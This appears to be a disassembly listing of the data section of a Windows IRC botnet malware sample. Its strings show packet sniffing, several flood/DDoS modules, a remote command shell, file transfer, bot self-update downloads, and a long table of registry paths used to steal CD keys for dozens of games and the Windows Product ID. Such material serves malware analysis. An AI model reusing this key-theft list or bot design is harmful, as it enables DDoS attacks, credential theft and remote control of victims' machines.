		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43B388	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_43B3B8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_43B40C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43B634	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43BA24	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_43BA38	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_43BA70	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_43BA84	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_43BA98	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_43BAB4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_43BAE4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_43BAF0	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 43CC74h, 43CC68h,	43CC58h, 2 dup(0)
		dd 80000001h, 43CC38h, 43CC34h,	43CC20h, 2 dup(0)
		dd 80000001h, 43CBFCh, 43CC34h,	43CBF0h, 2 dup(0)
		dd 80000001h, 43CBCCh, 43CBC4h,	43CBB0h, 2 dup(0)
		dd 80000001h, 43CB9Ch, 43CB8Ch,	43CB70h, 2 dup(0)
		dd 80000001h, 43CB2Ch, 43CCB4h,	43CB18h, 2 dup(0)
		dd 80000002h, 43CAECh, 43CAE0h,	43CAC0h, 2 dup(0)
		dd 80000002h, 43CA8Ch, 43CCB4h,	43CA74h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43CA40[eax], al
		mov	ah, 0CCh
		inc	ebx
		add	[eax], ch
		retf	43h
; ---------------------------------------------------------------------------
		align 10h
		dd 80000002h, 43CA10h, 43CCB4h,	43C9F8h, 2 dup(0)
		dd 80000002h, 43C9BCh, 4429D8h,	43C9ACh, 2 dup(0)
		dd 80000002h, 43C974h, 4429D8h,	43C960h, 2 dup(0)
		dd 80000002h, 43C914h, 4429D8h,	43C8F4h, 2 dup(0)
		dd 80000002h, 43C8A4h, 4429D8h,	43C878h, 2 dup(0)
		dd 80000002h, 43C83Ch, 4429D8h,	43C828h, 2 dup(0)
		dd 80000002h, 43C7F0h, 4429D8h,	43C7E0h, 2 dup(0)
		dd 80000002h, 43C790h, 4429D8h,	43C764h, 2 dup(0)
		dd 80000002h, 43C724h, 4429D8h,	43C708h, 2 dup(0)
		dd 80000002h, 43C6D8h, 4429D8h,	43C6B8h, 2 dup(0)
		dd 80000002h, 43C67Ch, 4429D8h,	43C668h, 2 dup(0)
		dd 80000002h, 43C620h, 4429D8h,	43C600h, 2 dup(0)
		dd 80000002h, 43C5ACh, 4429D8h,	43C57Ch, 2 dup(0)
		dd 80000002h, 43C52Ch, 4429D8h,	43C500h, 2 dup(0)
		dd 80000002h, 43C4C0h, 43C4B8h,	43C498h, 2 dup(0)
		dd 80000002h, 43C454h, 4429D8h,	43C438h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43C3EC[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 80000002h, 43C394h, 4429D8h,	43C388h, 2 dup(0)
		dd 80000002h, 43C354h, 4429D8h,	43C348h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43C314[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		add	al, [eax]
		add	byte_43C2D4[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	al, cl
		retn	43h
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 80000002h, 43C28Ch, 4429D8h,	43C278h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43C23C[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	[eax], ch
		retn	43h
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 80000002h, 43C1F8h, 43CCB4h,	43C1DCh, 2 dup(0)
		dd 80000002h, 43C1BCh, 43C1B4h,	43C190h, 2 dup(0)
		dd 80000002h, 43C174h, 43C1B4h,	43C154h, 2 dup(0)
		dd 80000002h, 43C134h, 43C1B4h,	43C110h, 2 dup(0)
		dd 80000002h, 43C0F8h, 43C1B4h,	43C0F4h, 2 dup(0)
		dd 80000002h, 43C0D8h, 43C0C8h,	43C0C0h, 2 dup(0)
		dd 80000002h, 43C08Ch, 42B004h,	43C074h, 2 dup(0)
		dd 80000002h, 43C038h, 43C02Ch,	43C004h, 43BFF4h, 43BFE0h
		dd 80000002h, 43BFBCh, 43BFB0h,	43BF9Ch, 43BF8Ch, 43BF84h
		dd 80000002h, 43BFBCh, 43BFB0h,	43BF58h, 43BF8Ch, 43BF50h
		dd 80000002h, 43BFBCh, 43BFB0h,	43BF20h, 43BF8Ch, 43BF18h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial_0	db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
byte_43C23C	db 53h			; DATA XREF: ___:0043BDE2w
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
byte_43C2D4	db 53h			; DATA XREF: ___:0043BDB2w
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
byte_43C314	db 53h			; DATA XREF: ___:0043BD9Aw
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
byte_43C3EC	db 53h			; DATA XREF: ___:0043BD52w
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
byte_43CA40	db 53h			; DATA XREF: ___:0043BBBAw
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043BAECo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:0043BAE8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_43BAE4o
		align 4
asc_43CCE4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_43CCE8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43CD64	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_43CD88	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_43CDA0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43CDCC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_43CDF0	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_43CE08	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_43CE20	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_43CE40	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43CE64	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_43CE88	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43CEB4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43CED4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_43CF04	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43CF34	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43CF60	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43CF94	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_43CFD8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_43CFF4	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43D02C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43D054	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_43D080	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_43D0A8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_43D0D0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_43D120	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_43D124	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_43D138	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43D174	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles_0	db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43D220	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
